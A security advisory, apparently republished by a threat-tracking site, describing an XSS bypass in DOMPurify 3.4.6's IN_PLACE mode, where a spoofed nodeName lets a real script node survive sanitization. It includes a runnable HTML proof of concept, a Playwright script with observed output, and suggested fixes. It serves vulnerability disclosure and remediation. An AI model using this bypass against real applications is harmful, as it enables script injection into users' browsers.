Technologyglobalverified · 90%

DOMPurify: `IN_PLACE` mode trusts attacker-controlled `nodeName` on live non-form nodes, allowing script retention and XSS via attacker-supplied DOM objects

When
Where
Global (internet)
Category
cyber_advisory · npm

## Summary When `DOMPurify.sanitize(root, { IN_PLACE: true })` is called on an attacker-supplied live DOM node, `DOMPurify` still trusts `currentNode.nodeName` for non-`form` nodes in the main `_sanitizeElements` pipeline. A real `<script>` child node whose observable `nodeName` is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes. This affects current `3.4.6`. The recent `IN_PLACE` hardening work covers clobbered `form` handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-`form` live nodes. ## Affected - DOMPurify `3.4.6` - Any caller that does `DOMPurify.sanitize(node, { IN_PLACE: true })` on attacker-supplied live DOM nodes - Verified attacker-controlled node sources: - same-origin `iframe` → live node passed by reference - same-origin `window.open()` popup → live node passed by reference - same-origin foreign node adopted into the host document via `document.adoptNode(node)` and then sanitized in-place Not affected: - String-input `DOMPurify.sanitize(dirtyString)` ## Vulnerability details ### Code paths [A] — `_sanitizeElements` uses the instance-visible `nodeName` for the allow/forbid decision: ```ts const _sanitizeElements = function (currentNode: any): boolean { ... if (_isClobbered(currentNode)) { _forceRemove(currentNode); return true; } const tagName = transformCaseFunc(currentNode.nodeName); ... if ( FORBID_TAGS[tagName] || (!(...) && !ALLOWED_TAGS[tagName]) ) { ... _forceRemove(currentNode); return true; } ... }; ``` For non-`form` nodes, `_isClobbered(currentNode)` returns `false` early. The subsequent element decision therefore trusts `currentNode.nodeName` directly. [B] — `_isClobbered` is `form`-specific: ```ts const _isClobbered = function (element: Element): boolean { const realTagName = getNodeName ? getNodeName(element) : null; if (typeof realTagName !== 'string') { return false; } if (transformCaseFunc(realTagName) !== 'form') { return false; } return (...); }; ``` The hardening is intentionally scoped to `form`. Non-`form` nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view. ### Why the bypass works The attack does **not** depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into `DOMPurify`'s `IN_PLACE` pipeline. If the attacker controls a same-origin subcontext (`iframe` or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts `DOMPurify.sanitize(node, { IN_PLACE: true })` as its final sanitization step. For the verified primitive below: - the real child node is `<script>` - its script text is attacker-controlled - the observable `nodeName` is attacker-controlled and made to appear as `"DIV"` - `_sanitizeElements` therefore classifies the real `<script>` child as an allowed element - the real `<script>` survives in the sanitized tree and executes on insertion This primitive survives: - direct reference passing - `document.adoptNode(node)` followed by `IN_PLACE` It does **not** survive: - `importNode` - `cloneNode` because those paths materialize a fresh node and discard the hostile object semantics. ## Proof of concept ### (1) Minimal — runnable in a single browser context ```html <!doctype html> <html><body> <script src="dist/purify.js"></script> <script> const foreign = window.open('about:blank', '_blank', 'noopener=no'); const host = foreign.document.createElement('div'); const script = foreign.document.createElement('script'); script.textContent = 'window.__pwned = 1'; Object.defineProperty(script, 'nodeName', { value: 'DIV', configurable: true, }); host.appendChild(script); DOMPurify.sanitize(host, { IN_PLACE: true }); console.log('output:', host.outerHTML); // <div><script>window.__pwned = 1</script></div> window.__pwned = 0; document.body.appendChild(host); console.log('handler fired:', window.__pwned === 1); // true </script> </body></html> ``` ### (2) End-to-end — Playwright ```js const { chromium } = require('playwright'); const path = require('path'); (async () => { const browser = await chromium.launch(); const page = await browser.newPage(); await page.goto('about:blank'); await page.addScriptTag({ path: path.resolve('dist/purify.js') }); const result = await page.evaluate(async () => { window.__hits = []; const foreign = window.open('about:blank', '_blank', 'noopener=no'); const host = foreign.document.createElement('div'); const script = foreign.document.createElement('script'); script.textContent = 'top.__hits.push("script-fired")'; Object.defineProperty(script, 'nodeName', { value: 'DIV', configurable: true, }); host.appendChild(script); DOMPurify.sanitize(host, { IN_PLACE: true }); document.body.appendChild(host); return { version: DOMPurify.version, output: host.outerHTML, fired: window.__hits.includes('script-fired'), }; }); console.log(result); await browser.close(); })(); ``` Observed: - Chromium / Firefox / WebKit ```js { version: '3.4.6', output: '<div><script>top.__hits.push("script-fired")</script></div>', fired: true } ``` ## Impact ### Direct XSS via retained real `<script>` nodes inside attacker-supplied live DOM objects. Any consumer that uses `DOMPurify.sanitize(node, { IN_PLACE: true })` as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable. The typical pattern is: ```js // attacker-controlled same-origin subcontext prepares a live node const foreignNode = attackerFrame.contentWindow.makeNode(); // host treats DOMPurify as the last security gate DOMPurify.sanitize(foreignNode, { IN_PLACE: true }); container.appendChild(foreignNode); ``` If `foreignNode` is a hostile live DOM object whose real child is `<script>` but whose observable `nodeName` is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document. ### Indirect / second-order - Applications that accept same-origin plugin / extension / widget DOM and rely on `IN_PLACE` as the final sanitization step - Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization ## Suggested fix Two minimal-risk options: 1. Stop trusting instance-visible `nodeName` for the element decision in `IN_PLACE`. Use the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks. In other words, the main pipeline should not do: ```ts const tagName = transformCaseFunc(currentNode.nodeName); ``` on hostile live objects. 2. Generalize hostile-node detection beyond `form`. The current `_isClobbered()` logic is `form`-specific. A more defensive approach would reject or strictly sanitize any `IN_PLACE` node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for: - `nodeName` - `attributes` - `childNodes` Either approach would close the verified primitive above.

Sources

Defaxon links out to the original reporting and never republishes article text.

Correlated events

Computed by the Defaxon correlation engine — linked by shared actors, co-location, and temporal proximity. Scored hypotheses, never causal claims.

← Back to the live map